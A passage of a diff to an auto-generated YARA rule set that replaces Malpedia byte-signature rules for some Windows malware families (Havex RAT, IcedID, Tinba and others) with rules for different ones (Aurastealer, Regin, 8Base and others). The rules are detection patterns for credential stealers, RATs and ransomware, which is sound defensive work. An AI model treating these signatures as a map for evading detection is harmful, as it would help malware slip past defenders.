8d0d14b24000 e8???????? ba???????? 8d0d18b24000 e8???????? ba???????? } + $sequence_8 = { c705????????0a4c4000 c705????????304c4000 c705????????01000000 837d1c00 7507 c7451c00904000 } + $sequence_9 = { ba???????? 8d0d10b24000 e8???????? ba???????? 8d0d14b24000 } condition: - 7 of them and filesize < 761856 + 7 of them and filesize < 1955840 } -rule MALPEDIA_Win_Yorekey_Auto : FILE +rule MALPEDIA_Win_Aurastealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53555fbf-037b-5e64-8224-50e96dcbd224" + id = "8c36a500-8774-5585-be5e-1badb5bb0481" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yorekey_auto.yar#L1-L161" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurastealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurastealer_auto.yar#L1-L147" license_url = "N/A" - logic_hash = "41e7314d91a8ca800c9d1b91b639e00add0929573052dd3660fca999dcefb1ff" + logic_hash = "8480b12b568e7fb011f2e56db2dfa5eb1d5aeacb4a24d1ba1c2deb0c82ba7d5d" score = 75 quality = 75 tags = "FILE" @@ -103319,37 +103755,38 @@ rule MALPEDIA_Win_Yorekey_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 750a 85c0 7506 ff15???????? } - $sequence_1 = { 4881ec80000000 488b05???????? 4833c4 488945f0 488d55a0 } - $sequence_2 = { a1???????? 8bd0 83f910 7305 ba???????? } - $sequence_3 = { 3da1000000 761b 3da3000000 7714 } - $sequence_4 = { 488bc7 c6041800 ffc5 49ffc6 } - $sequence_5 = { 488b05???????? 4833c4 4889442458 8b01 488bf9 } - $sequence_6 = { 88541c2f 4881fb00010000 72dd 8b5704 8b0f 4c8d442430 4c8bce } - $sequence_7 = { 8bd9 7418 488d0df7f50000 e8???????? 85c0 7408 } - $sequence_8 = { 50 56 8d8c240c080000 51 52 ffd7 } - $sequence_9 = { 8955f0 0fbe13 52 894dec 8b0d???????? 8945f4 8d45e4 } - $sequence_10 = { 8d4598 b919000000 be???????? 8d7d98 50 f3a5 ff15???????? } - $sequence_11 = { 68ff000000 e8???????? 59 59 8b7508 8d34f5d8194100 } - $sequence_12 = { 0fbe84c140e14000 6a07 c1f804 59 } - $sequence_13 = { cc 488d0de61f0100 e8???????? cc 85f6 } - $sequence_14 = { 488b13 498b0f 488d0549470000 4889442450 488b85f0040000 4c8d442430 4889442460 } + $sequence_0 = { 09f8 894648 83c110 894e44 8b7e30 } + $sequence_1 = { 09f9 85d2 0f49c8 89f5 } + $sequence_2 = { 09fb 895e48 83c110 894e44 } + $sequence_3 = { 09fb 8b0c24 0fb68c0e32900000 01d1 } + $sequence_4 = { 0a1c24 751f 8b7920 8b3f } + $sequence_5 = { 0a442404 89ee 7456 8b6c2410 } + $sequence_6 = { 09fa d1ea 89f7 83e601 } + $sequence_7 = { 0a4c2410 751c 6840df0400 6a01 } + $sequence_8 = { 01442428 8bf1 13d9 33d2 } + $sequence_9 = { 01442420 13d1 c1eb0b 0fa4c115 } + $sequence_10 = { 012c18 42 3bd7 72dc } + $sequence_11 = { 014c241c 13f0 33d2 89742420 } + $sequence_12 = { 014c2420 8be8 13f0 33ff } + $sequence_13 = { 0144241c 8b7c2424 136c2414 33c0 } + $sequence_14 = { 0128 42 3bd7 72db } + $sequence_15 = { 0002 8a0c0f 83c40c 020e } condition: - 7 of them and filesize < 274432 + 7 of them and filesize < 1918976 } -rule MALPEDIA_Win_Havex_Rat_Auto : FILE +rule MALPEDIA_Win_Blackcoffee_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f3fbb0af-43ac-5647-9a79-89548fc57d3c" + id = "c2ef4943-3003-5a8e-b84c-2fdafd870b99" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.havex_rat_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackcoffee_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9d2eae0c4a7abc70e6bf5636f95e7cb91a062b9062076188516a0129d3184ea5" + logic_hash = "b695e8fbe67a22ec1c98f5f738aa4dd5737b4b8062371c0306d53cad47c03140" score = 75 quality = 75 tags = "FILE" @@ -103363,32 +103800,32 @@ rule MALPEDIA_Win_Havex_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 50 51 ff15???????? 68???????? 8d4dd8 8bf0 } - $sequence_1 = { 83c8ff 2b4560 3bd8 7601 49 42 ebe4 } - $sequence_2 = { 8d5c242c 89642428 8938 897808 89780c 897810 } - $sequence_3 = { 8b4508 c9 c3 3b442404 741c 56 8d7004 } - $sequence_4 = { 8d8e94c90000 8955d8 0fb69002010000 0fb638 c1e210 0bd7 8951fc } - $sequence_5 = { 8d4d88 0f9445c3 c645fc05 e8???????? 385dc3 7507 } - $sequence_6 = { e8???????? ff75ec 8d450c ff75e8 8bce 50 8b4508 } - $sequence_7 = { 6a01 50 ff7514 8d44243c ff7510 50 57 } - $sequence_8 = { 83c104 ff4df8 837df800 7fe3 8b75e0 } - $sequence_9 = { ff7004 ff15???????? 8bd8 83fb02 7504 32c0 eb2f } + $sequence_0 = { ff75fc 57 6a01 ff15???????? 8bd8 3bdf } + $sequence_1 = { 53 e8???????? 83c40c ffd3 3bc7 7460 8b5610 } + $sequence_2 = { 897dfc 8945f4 50 8d4610 } + $sequence_3 = { 50 c70614000000 ff15???????? 8d85dcfeffff 83c40c 8945e8 8d45e0 } + $sequence_4 = { c68501f0ffff36 c68502f0ffff34 c68503f0ffff50 c68504f0ffff72 } + $sequence_5 = { 8b45fc 89460c c70614000000 e9???????? 83660c00 8d85b4feffff 50 } + $sequence_6 = { 6800800000 57 53 ff15???????? 8b4610 } + $sequence_7 = { e8???????? 8806 8d45b0 50 } + $sequence_8 = { 897dfc 57 ff15???????? 8bd8 3bdf 747a 8b460c } + $sequence_9 = { 895efc ff75f8 56 e8???????? 83c40c 56 } condition: - 7 of them and filesize < 892928 + 7 of them and filesize < 118784 } -rule MALPEDIA_Win_Roseam_Auto : FILE +rule MALPEDIA_Win_Unidentified_045_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d66e57df-f9e1-5b6e-89cb-6ce661f1848e" + id = "7710c8cf-a592-5c63-bf57-74d2e907d9db" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roseam_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_045" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_045_auto.yar#L1-L98" license_url = "N/A" - logic_hash = "49c65990e1943387e5f2f0be33c8622a534714937967ee32ce82db7fba5361e7" + logic_hash = "2c83bad8d9cfd5aadbf00585cf334eb826afab5840caeb0b4d10dd25220749b4" score = 75 quality = 75 tags = "FILE" @@ -103402,32 +103839,30 @@ rule MALPEDIA_Win_Roseam_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5d c3 8d4db8 c60200 51 } - $sequence_1 = { 33c9 66894304 66894b06 50 68???????? } - $sequence_2 = { 0f8682000000 66833b20 747c 56 } - $sequence_3 = { 9d 5d 8b45f8 85c0 0f84db000000 } - $sequence_4 = { 41 40 894dfc 8945f8 68???????? 50 9c } - $sequence_5 = { 58 58 8b45bc 48 7409 83e803 0f854c010000 } - $sequence_6 = { 8d85f4fcffff 8a10 8a1e 8aca 3ad3 751e 84c9 } - $sequence_7 = { 803a2e 740c 8a4201 42 } - $sequence_8 = { c7451800000000 84c0 7478 68???????? 50 } - $sequence_9 = { b9ff000000 33c0 8dbdf1f7ffff 8895f0f7ffff 8b1e f3ab } + $sequence_0 = { 6800040000 53 53 681f000f00 50 } + $sequence_1 = { 83e70f 5b 83ff03 7205 83ff08 } + $sequence_2 = { 33db 6a68 8d45b8 53 50 895d70 } + $sequence_3 = { 7517 ff7638 8b4810 e8???????? } + $sequence_4 = { ff7510 8d45f0 56 6a0c 50 } + $sequence_5 = { ff7508 897dac 56 ff15???????? } + $sequence_6 = { 8901 8b8538ffffff 8b0d???????? 8901 } + $sequence_7 = { 03f0 0500040000 894508 8d8ef8000000 3bc8 0f87d6030000 b850450000 } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Dyepack_Auto : FILE +rule MALPEDIA_Win_Regin_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "07deca3f-25ed-51d0-81b9-2a80bfd3fbb4" + id = "2a1f14e6-74a8-59d6-b749-05fe8ab02b70" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dyepack_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regin_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "c761a43cdd5c317a044dbb40e0c85464d14b22fce932fc8ee9b2120e24aa5b64" + logic_hash = "c115cb715f448d4a7161dd2f6e1e57adc27409e679a96be3c8017531a1cc0da9" score = 75 quality = 75 tags = "FILE" @@ -103441,32 +103876,32 @@ rule MALPEDIA_Win_Dyepack_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb04 8b4c2410 2bcd 1bc7 7815 } - $sequence_1 = { b814100000 e8???????? 53 56 57 33db b9ff030000 } - $sequence_2 = { 3bcb 765a eb04 8b4c2410 2bcd } - $sequence_3 = { 56 ff15???????? 8d442410 895c2410 50 56 } - $sequence_4 = { ff15???????? 56 ff15???????? 8d442410 895c2410 } - $sequence_5 = { 53 51 e8???????? 83c408 5d 5f } - $sequence_6 = { 53 aa 8b842434100000 53 6800000040 50 ff15???????? } - $sequence_7 = { 13fb 3bf8 7cb2 7f08 8b4c2410 3be9 } - $sequence_8 = { 53 56 ffd7 8b442414 8b4c2410 33ed 33ff } - $sequence_9 = { 7815 7f08 81f900100000 760b b900100000 895c2420 } + $sequence_0 = { 48 8bd3 e8???????? 40 32ff 48 8b5c2450 } + $sequence_1 = { 41 ffc0 48 8d4c2470 41 b904000000 } + $sequence_2 = { 85c0 740d 48 8d3551070000 } + $sequence_3 = { 48 0f45c7 4c 3be1 } + $sequence_4 = { 7408 33db 895c2460 eb7c 48 } + $sequence_5 = { 7505 e8???????? e8???????? 85c0 7518 e8???????? } + $sequence_6 = { 3beb 7406 ff15???????? 8ac3 48 8b9c2490000000 } + $sequence_7 = { 83ec28 83c8ff 48 85c9 } + $sequence_8 = { 89442478 48 85c0 0f84e8000000 } + $sequence_9 = { 4c 8d4008 48 8d5010 e8???????? 3ac3 } condition: - 7 of them and filesize < 212992 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Mikoponi_Auto : FILE +rule MALPEDIA_Win_Onionduke_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "de82eebe-f707-5dc6-9c33-0ae7d7821633" + id = "4f0df2d9-b667-583c-9035-10a88bb5a5df" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mikoponi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mikoponi_auto.yar#L1-L107" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onionduke" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.onionduke_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "8f3a24b96a22a4d512e188ba3c40bc90dbbbc4bf56cf9ed6cddde59c392fa78b" + logic_hash = "489b57dff2d63e712188fb4627ba779c8167a75fd93d25f277ce49d9d63a93ef" score = 75 quality = 75 tags = "FILE" @@ -103480,30 +103915,32 @@ rule MALPEDIA_Win_Mikoponi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b07 50 e8???????? 83c404 5e 5b 5d } - $sequence_1 = { 57 e8???????? 2bc7 d1f8 8d742420 } - $sequence_2 = { e9???????? 68f4010000 56 ff15???????? 8bf8 e8???????? e9???????? } - $sequence_3 = { ff15???????? 8b442468 89442414 89442418 33c0 89442430 } - $sequence_4 = { b9???????? 8d442440 668b10 663b11 751e } - $sequence_5 = { e8???????? 83c408 8d4c2414 51 57 } - $sequence_6 = { 81c470040000 c3 68???????? 68???????? ff15???????? 50 ff15???????? } - $sequence_7 = { e8???????? 68???????? e8???????? 68???????? e8???????? 8b7c2420 57 } + $sequence_0 = { 56 8b7510 56 894df8 } + $sequence_1 = { 8b0f 83c404 5f 8919 } + $sequence_2 = { c645fc01 bf08000000 85c0 7417 8b4dd4 } + $sequence_3 = { c20c00 8b4d08 8b11 8b4214 56 6a01 ffd0 } + $sequence_4 = { 56 e8???????? 837de808 8bf0 720c 8b4dd4 51 } + $sequence_5 = { 8a08 40 84c9 75f9 2bc2 750e } + $sequence_6 = { ffd0 8b13 894508 8b4208 56 } + $sequence_7 = { c20400 8b03 50 e8???????? 83c404 56 ff15???????? } + $sequence_8 = { 8b4dfc 33cd e8???????? 8be5 5d c20400 837df408 } + $sequence_9 = { 8b4d08 2bd0 c1fa03 3bd1 770a 68???????? e8???????? } condition: - 7 of them and filesize < 330752 + 7 of them and filesize < 671744 } -rule MALPEDIA_Win_Snatchcrypto_Auto : FILE +rule MALPEDIA_Win_Getmail_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "606aa04d-2534-5b9c-a7ea-236168d717b6" + id = "dbf6f885-27d8-521e-803a-d4cecec2a1f3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.snatchcrypto" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.snatchcrypto_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.getmail_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "821ad44e204c834b4eeced1dd22888563234f9fd380bbb4b883fee2940f1717e" + logic_hash = "2b6fbdf48e4c6a7974cdc409a23649369cc0b33f0a3fc425aba3ea953c2d50db" score = 75 quality = 75 tags = "FILE" @@ -103517,32 +103954,32 @@ rule MALPEDIA_Win_Snatchcrypto_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 4889ae60030000 488b9330060000 488d0d6e0a0300 e8???????? 4889442460 } - $sequence_1 = { e8???????? 488d4d81 33d2 41b803010000 c6458000 e8???????? 488d8db1020000 } - $sequence_2 = { c1c80b 410bca 458bc2 4433c8 4123ce 418bc4 c1c806 } - $sequence_3 = { 740d 4c39b380010000 0f858b000000 bfc4feffff 488b4310 4c8b7c2470 4c8b6c2478 } - $sequence_4 = { 7499 488d1597280600 488bcf e8???????? 85c0 7486 488d158c280600 } - $sequence_5 = { 0fb605???????? 4188440f02 48635320 4c634324 48039590020000 4183c703 418bcf } - $sequence_6 = { 4889742418 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 488b7908 } - $sequence_7 = { 8bd8 85c0 0f85d3000000 4885f6 7416 488bce e8???????? } - $sequence_8 = { 0fb78b94030000 0fb7937e020000 410fb7c0 450fb7c8 c1e904 83e101 66c1e80a } - $sequence_9 = { 410fb6cb e8???????? 85c0 7547 448d4005 0fb6d3 410fb6cb } + $sequence_0 = { 89442428 eb07 8d4c241c 51 } + $sequence_1 = { f3a4 8b442410 395840 7463 8b704c 8b7848 a1???????? } + $sequence_2 = { e8???????? 83c40c 85c0 752d bf???????? 83c9ff f2ae } + $sequence_3 = { 56 e8???????? 83c40c 895c2430 85c0 } + $sequence_4 = { 7cf1 56 8bf1 c1e603 3b9618444100 } + $sequence_5 = { 895c244c 895c2450 8b84243c020000 8d54247c 52 53 8b08 } + $sequence_6 = { 8bfe 8bcb 33c0 f2ae f7d1 49 51 } + $sequence_7 = { 8b4d00 68???????? 51 e8???????? 83c408 85c0 } + $sequence_8 = { 8b442420 3bc3 741d 8d48ff 8a40ff 84c0 } + $sequence_9 = { 8d542418 89442408 8b442410 56 52 8b08 } condition: - 7 of them and filesize < 1400832 + 7 of them and filesize < 188416 } -rule MALPEDIA_Win_Tinba_Auto : FILE +rule MALPEDIA_Win_Mbrlocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9e77c24-46b9-5cf7-a828-2a850fe6f2a6" + id = "6a472526-8a03-5ccc-a5eb-10b46b34c6da" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinba" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinba_auto.yar#L1-L142" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mbrlocker_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "374a170ff41ebad47f064bc534bfadb5eb7ba02780fab8542e6fa86bf64ae9a3" + logic_hash = "2abe677d378843746aa6479444a4219927906b009fff2766ade4f081783dbae6" score = 75 quality = 75 tags = "FILE" @@ -103556,35 +103993,32 @@ rule MALPEDIA_Win_Tinba_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b7508 ad 50 56 } - $sequence_1 = { 8b4510 aa 8b450c ab } - $sequence_2 = { 6a00 6a00 ff750c 6a00 6a00 ff7508 } - $sequence_3 = { 8a241f 88240f 88041f 41 } - $sequence_4 = { 7416 66b80d0a 66ab b8436f6f6b ab b869653a20 } - $sequence_5 = { 7437 b912000000 48 8d3db0010000 807a180f } - $sequence_6 = { 72ee 87ce 89f8 29ce f3a4 29fe } - $sequence_7 = { bb0a000000 31d2 f7f3 52 41 } - $sequence_8 = { 3c0a 7304 0430 eb02 0437 aa c14d0804 } - $sequence_9 = { 40 eb12 ff7514 ff7510 ff750c } - $sequence_10 = { 85c0 741b 66b80d0a 66ab b855736572 } - $sequence_11 = { 8d7a33 f6c304 740a 834a3540 66a5 } - $sequence_12 = { 8b0e 3b4d10 7603 8b4d10 51 57 ff750c } + $sequence_0 = { 50 8b35???????? 8b3d???????? 6a10 68???????? } + $sequence_1 = { 68fe000000 68???????? ffd7 83c408 } + $sequence_2 = { 68ac000000 68???????? e8???????? 68ac000000 68???????? ffd7 83c408 } + $sequence_3 = { c705????????ba514000 c705????????00020000 68fe000000 68???????? ffd6 83c408 68ff000000 } + $sequence_4 = { 68ac000000 68???????? e8???????? e8???????? } + $sequence_5 = { 68ff000000 68ac000000 68???????? e8???????? e8???????? 68ff000000 68ac000000 } + $sequence_6 = { ac 30c8 aa 4a 75f9 61 c9 } + $sequence_7 = { 68fe000000 68???????? e8???????? 68fe000000 } + $sequence_8 = { 68fe000000 68???????? e8???????? e8???????? 68ff000000 68fe000000 } + $sequence_9 = { 31c8 e8???????? 68ac000000 68???????? } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 43008 } -rule MALPEDIA_Win_Rarstar_Auto : FILE +rule MALPEDIA_Win_8Base_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9ce52f31-509a-51ae-aa52-a887d95b1b86" + id = "c4b48847-5291-521d-93fb-9294f21140e6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rarstar_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.8base" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.8base_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "d80756ef2e17ab1b1759226b804a9ad7a0323babf981d01e1610768c38e321da" + logic_hash = "b47a40948bded147073cdef65076e2a74aedf9d527ccdea9c267a440037e5b0f" score = 75 quality = 75 tags = "FILE" @@ -103598,32 +104032,32 @@ rule MALPEDIA_Win_Rarstar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89742410 33ed ff15???????? 8b542418 8b3d???????? 52 89442430 } - $sequence_1 = { eb26 8d4508 8db664c54000 6a00 50 ff36 } - $sequence_2 = { f7d1 2bf9 899c2430030000 8bc1 8bf7 8bfa 899c242c030000 } - $sequence_3 = { 8bc6 5e c20400 81ec24030000 53 } - $sequence_4 = { 8b0485c0d94000 03c6 8a5004 f6c201 0f849e010000 } - $sequence_5 = { 33db 8a940c20010000 8a5c0c20 03c2 03c3 25ff000080 7907 } - $sequence_6 = { 81e200008000 52 6a00 6a00 } - $sequence_7 = { 899c242c030000 899c2428030000 899c2424030000 899c2420030000 bf???????? 83c9ff } - $sequence_8 = { 7405 be01000000 8b442418 57 } - $sequence_9 = { 0f8412010000 85f6 779a 8b5c241c 6a00 } + $sequence_0 = { 6a00 ff15???????? 8d8e04a2feff 81f98c230000 770b } + $sequence_1 = { 8b5104 8b4c2408 c74432f45c394000 5e } + $sequence_2 = { 8815???????? c605????????6f 880d???????? c605????????65 c605????????63 } + $sequence_3 = { 8d3485c0289100 8b06 83e71f c1e706 03c7 8a5824 } + $sequence_4 = { c684249c00000002 50 c7442410043a4000 e8???????? } + $sequence_5 = { d3ea 89542414 8b442434 01442414 8b442424 31442410 } + $sequence_6 = { ff15???????? 8b442414 40 3d???????? 89442414 0f8c0effffff 8b35???????? } + $sequence_7 = { 8bf7 83e61f c1e606 033485c0289100 c745e401000000 } + $sequence_8 = { 6689442416 33c9 668954241a 8d442434 50 66894c241c 8b4c241c } + $sequence_9 = { 899c24ac000000 3bfb 7449 8b8424b8000000 56 8d742418 } condition: - 7 of them and filesize < 122880 + 7 of them and filesize < 10838016 } -rule MALPEDIA_Win_Jripbot_Auto : FILE +rule MALPEDIA_Win_Darkdew_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6dca0814-ee58-53a7-824c-c626a6b40b02" + id = "915d3fba-ccdb-58ec-bef5-fbfe3e57f2e5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jripbot_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkdew" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkdew_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "177d4eed69a2789f1363a5a38a7b17a6a4de0acf1062d48112f06f3ff8f9a1ab" + logic_hash = "2001511710881b4d822d294ff1446e10aa21b9b50a4d4e2fae3fc5a2bc0825b8" score = 75 quality = 75 tags = "FILE" @@ -103637,34 +104071,34 @@ rule MALPEDIA_Win_Jripbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 51 50 0fbf45ee 50 be???????? e8???????? } - $sequence_1 = { 50 ff15???????? eb61 ff742434 8d842464010000 ff742414 e8???????? } - $sequence_2 = { 7436 830804 f6c302 742e 56 ff15???????? 50 } - $sequence_3 = { 8d85a8fcffff 8d5001 8a08 40 3acb 75f9 2bc2 } - $sequence_4 = { 50 8d442418 50 894c2420 ff15???????? 83c40c 85c0 } - $sequence_5 = { 6a30 ff750c 8d75fc 8bcf e8???????? 83c408 } - $sequence_6 = { 8b8de0fdffff 8bc3 668b10 663b11 751e 663bd7 7415 } - $sequence_7 = { 33fb 037dfc 8b5ddc 235df4 0bf3 03f7 8b7d88 } - $sequence_8 = { 8bf8 83c40c 85ff 0f85da000000 ff742410 8d442448 e8???????? } - $sequence_9 = { 8d443718 50 e8???????? 83c40c 8d4618 8bce e8???????? } + $sequence_0 = { 8d7e01 3bfb 7ed0 83c8ff eb07 8b04f55c710110 5f } + $sequence_1 = { 7214 8b49fc 83c223 2bc1 83c0fc 83f81f 0f87860f0000 } + $sequence_2 = { b991000000 8dbd70e2ffff 8bf2 f3a5 b991000000 } + $sequence_3 = { 6804010000 8d85b4fcffff 6a00 50 e8???????? 83c40c } + $sequence_4 = { 83fe10 8bbd68ffffff 0f43cf 8d5101 } + $sequence_5 = { c745e807000000 668945d4 83fa10 722c 8b4d9c 42 8bc1 } + $sequence_6 = { 8d85e4f7ffff f3a5 50 8d8528faffff b991000000 8bf3 8dbd18f9ffff } + $sequence_7 = { 8d9534fcffff 0f43ce 2bd1 8a01 8d4901 88440aff 84c0 } + $sequence_8 = { 83c404 83781408 7202 8b00 50 6a00 } + $sequence_9 = { eb07 8b0cc5645c0110 894de4 85c9 7455 8b4510 } condition: - 7 of them and filesize < 507904 + 7 of them and filesize < 279552 } -rule MALPEDIA_Win_Icedid_Auto : FILE +rule MALPEDIA_Win_Fireball_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7cb01d8c-6ddc-5faf-a2d7-b352678038d8" + id = "a3428bf8-96e6-53b5-b02d-f9e2f263c340" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_auto.yar#L1-L300" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fireball" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fireball_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "80a642e8024f176494bc232a2f8ca8c27a08e0dff1dc2e9038b4b5cccdea7c2e" + logic_hash = "0f22d443c5f81dd9534cb92d3695167967ab7b76ab570ebe6d321bfdbed116f0" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -103676,54 +104110,32 @@ rule MALPEDIA_Win_Icedid_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 7511 56 57 ff15???????? } - $sequence_1 = { 7411 40 50 6a08 ff15???????? } - $sequence_2 = { 50 ff15???????? 8bf7 8bc6 } - $sequence_3 = { 7413 ff36 6a08 ff15???????? } - $sequence_4 = { 85f6 742c 803e00 7427 6a3b 56 ff15???????? } - $sequence_5 = { 85ff 7418 c60700 47 57 ff15???????? } - $sequence_6 = { 68???????? 6a00 ff15???????? 33c0 40 } - $sequence_7 = { 6a3b 56 ff15???????? 8bf8 85ff 7418 } - $sequence_8 = { e8???????? 8bf0 8d45fc 50 ff75fc 6a05 } - $sequence_9 = { 5f 743f 8d5808 0fb713 } - $sequence_10 = { 03c2 eb5c 8d5004 89542414 8b12 85d2 7454 } - $sequence_11 = { 0132 47 83c302 3bfd 72c4 8b542414 } - $sequence_12 = { 85d2 7454 8d6af8 d1ed } - $sequence_13 = { 8d5808 0fb713 8954241c 66c16c241c0c } - $sequence_14 = { 8d4508 50 0fb6440b34 50 ff740b28 } - $sequence_15 = { 2345fc 8be5 5d c3 55 8bec ff7518 } - $sequence_16 = { ff15???????? 85c0 750a b8010000c0 e9???????? } - $sequence_17 = { 8a4173 a808 75f5 a804 } - $sequence_18 = { ff5010 85c0 7407 33c0 e9???????? } - $sequence_19 = { 89442408 0fb70424 8b4c2408 03c8 } - $sequence_20 = { 48 8b523c e8???????? 48 89433c 48 85c0 } - $sequence_21 = { 48 8945b8 48 85c0 0f84db000000 8b4324 48 } - $sequence_22 = { 4c 8b15???????? 48 8d442450 44 } - $sequence_23 = { 49 8943d8 ff15???????? 85c0 } - $sequence_24 = { 4c8bc3 33d2 488bc8 ff15???????? 488bb590020000 } - $sequence_25 = { 3b7b1c 72d7 8b430c 4803c6 0f845affffff 488bcd } - $sequence_26 = { 488d5702 488bce ff15???????? ba22000000 488bce ff15???????? 4885c0 } - $sequence_27 = { 4289448440 488b5c2428 4c3b5c2430 7307 4c8b742420 } - $sequence_28 = { 488bd8 4885c0 0f84cb000000 488bb590020000 41ba01000000 } - $sequence_29 = { 